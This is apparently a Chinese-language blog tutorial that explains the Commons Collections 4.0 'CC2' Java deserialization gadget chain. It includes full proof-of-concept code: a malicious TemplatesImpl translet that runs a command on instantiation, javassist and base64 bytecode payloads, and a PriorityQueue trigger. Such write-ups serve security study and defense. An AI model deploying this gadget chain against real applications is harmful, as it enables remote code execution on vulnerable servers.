java安全入门(二)(cc链2) CC1链在实际利用过程存在一些限制,例如jdk8u71版本已经无法利用反序列化漏洞了,通过分析发现jdk8u71版本中改写了sun.reflect.annotation.AnnotationInvocationHandler类的readObject方法,CC1链在jdk8u71版本以上已经被修复了,因此jdk8u71版本重新构造了一条新的利用链(CC2链)
不过CC2链使用了apache commons collections组件4.0版本来进行构造,并没有使用3.1版本,首先 CommonsCollections3 中无法使用,因为其 TransformingComparator 无法序列化。其次只有 CommonsCollections4-4.0 可以使用,因为 CommonsCollections4 其他版本去掉了 InvokerTransformer 的 Serializable 继承,导致无法序列化。
环境
调用栈 1 2 3 4 5 6 7 8 9 10 ->PriorityQueue.readObject() ->PriorityQueue.heapify() ->PriorityQueue.siftDown() ->PriorityQueue.siftDownUsingComparator() ->TransformingComparator.compare() ->InvokerTransformer.transform() ->TemplatesImpl.newTransformer() ->TemplatesImpl.getTransletInstance() ->TemplatesImpl.defineTransletClasses() ->TestTemplatesImpl.newInstance()
特点
并没有使用反序列漏洞
使用了动态字节码编程来构造poc
利用过程 构造的恶意类TestTemplatesImpl
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 package com.cc; import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler; public class TestTemplatesImpl extends AbstractTranslet { public TestTemplatesImpl () { super (); try { Runtime.getRuntime().exec("calc" ); }catch (Exception e){ e.printStackTrace(); } } public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
该类一旦被实例化即可执行命令
payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 package com.cc; import javassist.ClassPool;import javassist.CtClass;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.InvokerTransformer; import java.io.*;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.util.PriorityQueue; public class CC2Test { public static void main (String[] args) throws Exception { ClassPool classPool = ClassPool.getDefault(); CtClass ctClass = classPool.getCtClass("com.cc.TestTemplatesImpl" ); byte [] bytes = ctClass.toBytecode(); Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" ); Constructor<?> constructor = aClass.getDeclaredConstructor(new Class []{}); Object TemplatesImpl_instance = constructor.newInstance(); Field bytecodes = aClass.getDeclaredField("_bytecodes" ); bytecodes.setAccessible(true ); bytecodes.set(TemplatesImpl_instance , new byte [][]{bytes}); Field name = aClass.getDeclaredField("_name" ); name.setAccessible(true ); name.set(TemplatesImpl_instance , "TestTemplatesImpl" ); InvokerTransformer transformer=new InvokerTransformer ("newTransformer" ,null ,null ); TransformingComparator transformer_comparator = new TransformingComparator (transformer); PriorityQueue queue = new PriorityQueue (2 ); queue.add(1 ); queue.add(1 ); Field field=queue.getClass().getDeclaredField("comparator" ); field.setAccessible(true ); field.set(queue,transformer_comparator); field=queue.getClass().getDeclaredField("queue" ); field.setAccessible(true ); Object[] objects = new Object []{TemplatesImpl_instance , TemplatesImpl_instance}; field.set(queue,objects); ByteArrayOutputStream barr = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (barr); oos.writeObject(queue); oos.close(); ObjectInputStream ois = new ObjectInputStream (new ByteArrayInputStream (barr.toByteArray())); Object object = ois.readObject(); }
cc2链利用流程
1 2 3 4 5 1. 构造一个TestTemplatesImpl恶意类转成字节码,然后通过反射将恶意类的字节码注入到TemplatesImpl对象的_bytecodes属性(构造利用核心代码) 2. 创建一个InvokerTransformer并传递一个newTransformer方法,然后将InvokerTransformer方法名传递给TransformingComparator(这一步和CC1链非常相似) 3. 通过反射构造PriorityQueue队列的comparator和queue两个字段,将PriorityQueue队列的comparator字段设置为TransformingComparator,然后将queue字段设置为TemplatesImpl对象,触发利用链
了解CC2链的利用流程后,来分析CC2链是如何构造出来的,为什么要这样构造利用链,先来看核心利用代码:
1 2 3 4 ClassPool classPool = ClassPool.getDefault();CtClass ctClass = classPool.getCtClass("com.cc.TestTemplatesImpl" );byte [] bytes = ctClass.toBytecode();
在构造核心利用代码的时候,是通过javassist动态构造了一个恶意类并将该类转换为二进制字节码,为什么要这么做?因为在构造核心利用代码的时候需要用到TemplatesImpl类。
TemplatesImpl类有一个_bytecodes属性和一个defineTransletClasses方法,_bytecodes属性会接收一个byte数组,并且defineTransletClasses方法内部调用了defineClass 方法将_bytecodes属性的字节码还原成class对象,然后将class对象赋给_class属性。
1 2 3 4 5 6 7 8 9 for (int i = 0 ; i < classCount; ++i) { this ._class[i] = loader.defineClass(this ._bytecodes[i]); Class superClass = this ._class[i].getSuperclass(); if (superClass.getName().equals(ABSTRACT_TRANSLET)) { this ._transletIndex = i; } else { this ._auxClasses.put(this ._class[i].getName(), this ._class[i]); } }
如果将一个恶意类传给TemplatesImpl类_bytecodes属性,那么defineTransletClasses方法根据_bytecodes属性的字节码数据加载成class对象时,_bytecodes属性可控,再调用newInstance方法实例化对象就会触发class对象的构造方法了。
思考一下:如何构造一个恶意类传递给TemplatesImpl类_bytecodes属性?
可以通过javassist字节码编程动态构造一个恶意类并转换为字节码,然后暴力反射获取TemplatesImpl类的_bytecodes属性并将恶意类的字节码设置给_bytecodes属性。接着还需要找到一个既调用了defineTransletClasses方法,又调用了newInstance方法的地方。
按Alt + F7快捷键查找,看到TemplatesImpl类中有以下几个方法中调用了defineTransletClasses方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 private Translet getTransletInstance () throws TransformerConfigurationException { try { if (_name == null ) return null ; if (_class == null ) defineTransletClasses(); AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance(); translet.postInitialization(); translet.setTemplates(this ); translet.setOverrideDefaultParser(_overrideDefaultParser); translet.setAllowedProtocols(_accessExternalStylesheet); if (_auxClasses != null ) { translet.setAuxiliaryClasses(_auxClasses); } return translet; } catch (InstantiationException e) { ErrorMsg err = new ErrorMsg (ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException (err.toString()); } catch (IllegalAccessException e) { ErrorMsg err = new ErrorMsg (ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException (err.toString()); } }
getTransletInstance方法内部判断了_name属性是否为空,如果为空直接返回null,不再往下执行,这里我们要想办法绕过_name属性,也就是在构造核心利用代码时通过反射将_name属性设置为恶意类TestTemplatesImpl的类名。接着判断class对象为空就调用defineTransletClasses方法创建class对象。当defineTransletClasses方法创建恶意类的class对象后,_class属性会调用newInstance方法实例化TestTemplatesImpl
具体参考defineTransletClasses方法实现:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 private void defineTransletClasses () throws TransformerConfigurationException { if (_bytecodes == null ) { ErrorMsg err = new ErrorMsg (ErrorMsg.NO_TRANSLET_CLASS_ERR); throw new TransformerConfigurationException (err.toString()); } TransletClassLoader loader = (TransletClassLoader) AccessController.doPrivileged(new PrivilegedAction () { public Object run () { return new TransletClassLoader (ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap()); } }); try { final int classCount = _bytecodes.length; _class = new Class [classCount]; if (classCount > 1 ) { _auxClasses = new HashMap <>(); } for (int i = 0 ; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]); final Class superClass = _class[i].getSuperclass(); if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; } else { _auxClasses.put(_class[i].getName(), _class[i]); } } if (_transletIndex < 0 ) { ErrorMsg err= new ErrorMsg (ErrorMsg.NO_MAIN_TRANSLET_ERR, _name); throw new TransformerConfigurationException (err.toString()); } } catch (ClassFormatError e) { ErrorMsg err = new ErrorMsg (ErrorMsg.TRANSLET_CLASS_ERR, _name); throw new TransformerConfigurationException (err.toString()); } catch (LinkageError e) { ErrorMsg err = new ErrorMsg (ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException (err.toString()); } }
1 _class属性是一个接收class对象的数组,_transletIndex索引控制了_class数组中具体的哪一个class对象,defineTransletClasses方法在还原class对象的时候,会判断当前class对象是否继承了AbstractTranslet类并设置_transletIndex索引。
如果在构造TestTemplatesImpl类的时候没有继承AbstractTranslet类的话,_transletIndex索引的值默认为-1,那么getTransletInstance方法中_class属性调用newInstance方法实例化TestTemplatesImpl类的时候就会失败,因此构造TestTemplatesImpl类必须要继承AbstractTranslet类。到这一步核心利用代码算是构造完毕,下一步就需要构造利用链来调用核心利用代码。
因此构造利用链的思路就是继续寻找哪个地方调用了getTransletInstance方法,按Alt + F7寻找getTransletInstance方法的调用位置,最终我们找到TemplatesImpl类中有一个newTransformer方法内部调用了getTransletInstance方法。
我们来分析一下newTransformer方法 是干嘛用的,看能不能在这个方法找到构造利用链的思路:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public synchronized Transformer newTransformer () throws TransformerConfigurationException { TransformerImpl transformer; transformer = new TransformerImpl (getTransletInstance(), _outputProperties, _indentNumber, _tfactory); if (_uriResolver != null ) { transformer.setURIResolver(_uriResolver); } if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) { transformer.setSecureProcessing(true ); } return transformer; }
newTransformer方法的作用是返回一个Transformer,是不是很眼熟,这跟CC1链中构造transformer数组的思路有些类似,那么我们可以从之前的CC1链中寻找思路。InvokerTransformer类中有一个transform方法会根据传入的iMethodName,iParamTypes,iArgs这三个成员属性来执行class对象的某个方法,并且这三个属性是根据InvokerTransformer类的构造传入的,然后通过InvokerTransformer类的transform方法来调用newTransformer方法。
接下来我们要做的就是想方设法如何去调用newTransformer方法,因此构造利用链的思路就是:分析哪些类中的transform方法调用了newTransformer方法?
通过进一步分析发现InvokerTransformer类中的transform方法是通过实现Transformer接口来的,因此下一步的思路就是查找哪些类调用了Transformer接口的transform方法并且还实现了Serializable接口,最终我们找到以下这几个类:
找到了很多类中都调用了transform方法,不过这里我们用到的是TransformingComparator类(大家可以自己去分析一下其他类是否可以构造利用链),TransformingComparator类是一个Comparable 对象的comparator比较器,实现了Serializable接口。
TransformingComparator类的compare方法中通过transformer属性来调用transform方法的,如果想要调用InvokerTransformer类的transform方法,可以把InvokerTransformer传给TransformingComparator类的构造来设置transformer属性(当然也可以使用反射),因为transformer属性可控。
TransformingComparator类的compare方法中通过transformer属性来调用transform方法的,如果想要调用InvokerTransformer类的transform方法,可以把InvokerTransformer传给TransformingComparator类的构造来设置transformer属性(当然也可以使用反射),因为transformer属性可控。
1 2 3 4 5 public int compare (final I obj1, final I obj2) { final O value1 = this .transformer.transform(obj1); final O value2 = this .transformer.transform(obj2); return this .decorated.compare(value1, value2); }
构造方法内部又调用了一次构造将ComparatorUtils.NATURAL_COMPARATOR传给了decorated属性(ComparatorUtils.NATURAL_COMPARATOR是一个Comparator类型)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public TransformingComparator (final Transformer<? super I, ? extends O> transformer) { this (transformer, ComparatorUtils.NATURAL_COMPARATOR); } public TransformingComparator (final Transformer<? super I, ? extends O> transformer, final Comparator<O> decorated) { this .decorated = decorated; this .transformer = transformer; }
然后可以得到这样一条利用链:
1 2 3 InvokerTransformer transformer=new InvokerTransformer ("newTransformer" ,new Class []{},new Object []{}); TransformingComparator comparator = new TransformingComparator (transformer);
继续思考一下:如何去触发这个利用链(如何调用TransformingComparator的compare方法?),我们知道comparator比较器在集合中使用的比较多,并且还可以通过实现Comparator接口自定义比较器,而TransformingComparator类本身就是一个自定义比较器,因为它实现了Comparator接口,那么我们可以通过集合来调用TransformingComparator比较器,这个集合必须实现Serializable接口,重写了readObject方法,并且还使用了Comparator比较器。
这里就要借助jdk中的PriorityQueue集合了,PriorityQueue是一个优先队列,每次排序都会触发comparator比较器的compare方法,并且PriorityQueue还重写了readObject方法(反序列化漏洞必要的利用条件)。
分析PriorityQueue的readObject方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); s.readInt(); SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size); queue = new Object [size]; for (int i = 0 ; i < size; i++) queue[i] = s.readObject(); heapify(); }
readObject方法会把序列化后的数据还原成java对象,然后通过queue属性用于接收元素 ,queue是一个数组,size属性记录元素的个数,接着调用heapify()方法。
heapify()方法内部将queue队列作为参数传给了siftDown方法
1 2 3 4 private void heapify () { for (int i = (size >>> 1 ) - 1 ; i >= 0 ; i--) siftDown(i, (E) queue[i]); }
1 2 3 4 5 6 7 8 9 这是一个优先队列(PriorityQueue)的私有方法 heapify(),用于将元素按照堆的方式组织起来,以满足优先队列的定义。具体实现方式如下: 从堆的倒数第二层开始,依次向上遍历每个节点,对每个节点执行 siftDown() 操作。倒数第二层的最后一个节点的下标为 size >>> 1 - 1,其中 >>> 是无符号右移操作符,相当于将右侧的操作数向右移动 size / 2 位,并用零填充高位。这样可以保证只有非叶子节点会被遍历到,因为叶子节点没有子节点,不需要执行 siftDown() 操作。 对于每个节点,执行 siftDown() 操作。siftDown() 操作会将当前节点与其子节点进行比较,如果当前节点的值比子节点的值小(或者优先级别低),则交换它们的值。然后递归执行 siftDown() 操作,直到当前节点的值不再比子节点的值小(或者优先级别低),或者已经到达叶子节点为止。这样可以保证每个节点的值都比其子节点的值大(或者优先级别高),满足堆的性质。 在 siftDown() 操作中,每个节点的值都是通过向下比较得到的。因此,在遍历每个节点时,需要将当前节点的值传递给 siftDown() 方法,以便进行比较。 在 siftDown() 操作中,需要使用内部比较器(或者元素的自然顺序)对元素进行比较。这个比较器通常是在优先队列的构造函数中指定的。
siftDown方法内部判断了PriorityQueue队列的comparator属性是否为空,如果不为空则调用siftDownUsingComparator方法,否则调用siftDownComparable方法,我们来分下一下这两个方法:
1 2 3 4 5 6 private void siftDown (int k, E x) { if (comparator != null ) siftDownUsingComparator(k, x); else siftDownComparable(k, x); }
siftDownComparable方法内部会生成一个Comparable比较器并调用compareTo方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 private void siftDownComparable (int k, E x) { Comparable<? super E> key = (Comparable<? super E>)x; int half = size >>> 1 ; while (k < half) { int child = (k << 1 ) + 1 ; Object c = queue[child]; int right = child + 1 ; if (right < size && ((Comparable<? super E>) c).compareTo((E) queue[right]) > 0 ) c = queue[child = right]; if (key.compareTo((E) c) <= 0 ) break ; queue[k] = c; k = child; } queue[k] = key; }
siftDownUsingComparator方法内部调用了comparator属性的Comparator比较器的compare方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 private void siftDownUsingComparator (int k, E x) { int half = size >>> 1 ; while (k < half) { int child = (k << 1 ) + 1 ; Object c = queue[child]; int right = child + 1 ; if (right < size && comparator.compare((E) c, (E) queue[right]) > 0 ) c = queue[child = right]; if (comparator.compare(x, (E) c) <= 0 ) break ; queue[k] = c; k = child; } queue[k] = x; }
从siftDown方法中可以看出PriorityQueue队列中的comparator属性是一个比较器并且还是可控的,如果comparator属性指定为TransformingComparator比较器的话,不就可以调用TransformingComparator的compare方法了吗,于是万能的反射再次登场了,通过反射将PriorityQueue队列中的comparator属性设置为TransformingComparator比较器,这样PriorityQueue集合在反序列化过程中就会调用comparator比较器了,不得不说PriorityQueue集合完美的符合我们需要构造的利用链。
并且将compare方法的参数设置为TemplatesImpl对象,然后transform方法就会调用TemplatesImpl对象的newTransformer方法,这一步会衔接之前构造的利用链,最终形成完整的CC2链。
因此我们只需要在PriorityQueue集合中添加两个TemplatesImpl对象作为集合元素就可以触发之前构造的利用链。
现在我们逆推一下CC2链的利用流程:
梳理一下利用链流程,PriorityQueue队列调用readObject方法在反序列化过程中调用了compare方法触发TransformingComparator比较器的compare方法,在compare方法内部通过transformer属性调用了transform方法,该方法会触发之前我们构造的利用链通过反射调用newTransformer方法,接触就会调用核心利用代码,加载恶意类TemplatesImpl,newInstance方法实例化TestTemplatesImpl对象时就会调用构造方法,最终调用恶意代码调出计算器。
CC2链最终payload 获取字节码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 package main.java.cc2;import java.lang.reflect.Method;import java.nio.file.Files;import java.nio.file.Paths;import java.util.Base64;public class getbytes { public static void main (String[] args) { try { Class<?> clazz = TestTemplatesImpl.class; byte [] bytecode = Files.readAllBytes(Paths.get(clazz.getResource(clazz.getSimpleName() + ".class" ).toURI())); String base64Encoded = Base64.getEncoder().encodeToString(bytecode); System.out.println(base64Encoded); } catch (Exception e) { e.printStackTrace(); } } }
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 package main.java.cc2;import com.sun.org.apache.xml.internal.security.utils.Base64;import javassist.ClassPool;import javassist.CtClass;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.InvokerTransformer;import java.io.*;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.util.PriorityQueue;public class cc2test2 { public static void main (String[] args) throws Exception { byte [] bytes = Base64.decode("yv66vgAAADEAMQoACAAhCgAiACMIACQKACIAJQcAJgoABQAnBwAoBwApAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAaTGNvbS9jYy9UZXN0VGVtcGxhdGVzSW1wbDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAKgEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEAFlRlc3RUZW1wbGF0ZXNJbXBsLmphdmEMAAkACgcAKwwALAAtAQAEY2FsYwwALgAvAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAMAAKAQAYY29tL2NjL1Rlc3RUZW1wbGF0ZXNJbXBsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAgAAAAAAAMAAQAJAAoAAQALAAAAZgACAAIAAAAWKrcAAbgAAhIDtgAEV6cACEwrtgAGsQABAAQADQAQAAUAAgAMAAAAGgAGAAAADAAEAA4ADQARABAADwARABAAFQASAA0AAAAWAAIAEQAEAA4ADwABAAAAFgAQABEAAAABABIAEwACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAFgANAAAAIAADAAAAAQAQABEAAAAAAAEAFAAVAAEAAAABABYAFwACABgAAAAEAAEAGQABABIAGgACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAGgANAAAAKgAEAAAAAQAQABEAAAAAAAEAFAAVAAEAAAABABsAHAACAAAAAQAdAB4AAwAYAAAABAABABkAAQAfAAAAAgAg" ); Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" ); Constructor<?> constructor = aClass.getDeclaredConstructor(new Class []{}); Object TemplatesImpl_instance = constructor.newInstance(); Field bytecodes = aClass.getDeclaredField("_bytecodes" ); bytecodes.setAccessible(true ); bytecodes.set(TemplatesImpl_instance , new byte [][]{bytes}); Field name = aClass.getDeclaredField("_name" ); name.setAccessible(true ); name.set(TemplatesImpl_instance , "TestTemplatesImpl" ); InvokerTransformer transformer=new InvokerTransformer ("newTransformer" ,null ,null ); TransformingComparator transformer_comparator = new TransformingComparator (transformer); PriorityQueue queue = new PriorityQueue (2 ); queue.add(1 ); queue.add(1 ); Field field=queue.getClass().getDeclaredField("comparator" ); field.setAccessible(true ); field.set(queue,transformer_comparator); field=queue.getClass().getDeclaredField("queue" ); field.setAccessible(true ); Object[] objects = new Object []{TemplatesImpl_instance , TemplatesImpl_instance}; field.set(queue,objects); ByteArrayOutputStream barr = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (barr); oos.writeObject(queue); oos.close(); ObjectInputStream ois = new ObjectInputStream (new ByteArrayInputStream (barr.toByteArray())); Object object = ois.readObject(); } }